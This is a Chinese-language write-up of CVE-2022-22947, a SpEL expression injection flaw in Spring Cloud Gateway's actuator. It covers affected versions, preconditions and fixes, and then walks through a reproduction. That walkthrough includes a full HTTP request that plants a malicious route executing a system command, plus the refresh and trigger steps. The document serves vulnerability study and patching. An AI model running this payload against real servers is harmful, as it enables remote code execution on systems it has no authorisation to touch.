环境部署
使用docker部署环境
漏洞等级:高危
3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为CVE-2022-22947
Spring官方发布
漏洞描述
使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。
影响范围
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的 Spring Cloud Gateway 版本
漏洞利用前置条件
除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);
#Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
默认为truemanagement.endpoint.gateway.enabled=true
#以逗号分隔的一系列值,默认为 health
#若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway
解决方案
3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。
复现过程
使用burp抓包,直接上字典扫描目录
扫描出了存在
/actuator路径,里面有很多spring常见的接口路径
我们先查看路由/actuator/gateway/routes
然后创建一条包含恶意代码的路由:
POST /actuator/gateway/routes/error HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336
{
"id": "error",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
接着以POST方法请求
/actuator/gateway/refresh
用于刷新路由,使刚添加的恶意路由生效
最后以GET方法请求/actuator/gateway/routes
,触发恶意路由,可以 看到之前的id命令被执行了
真实环境测试时证明漏洞存在后记得将恶意路由删除,使用DELETE
再次刷新路由/actuator/gateway/refresh,
然后查看路由,恢复到测试之前的样子了:
参考链接:https://blog.csdn.net/qq_49619863/article/details/127350543
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247490095&idx=1&sn=8bdc76de3ebaa557c9e56b33d803c112&chksm=90393cdfa74eb5c90587c4a6549a6cd9e0aaec2fa53d531c1e1362260b5e6c12c4fa3516cece&scene=27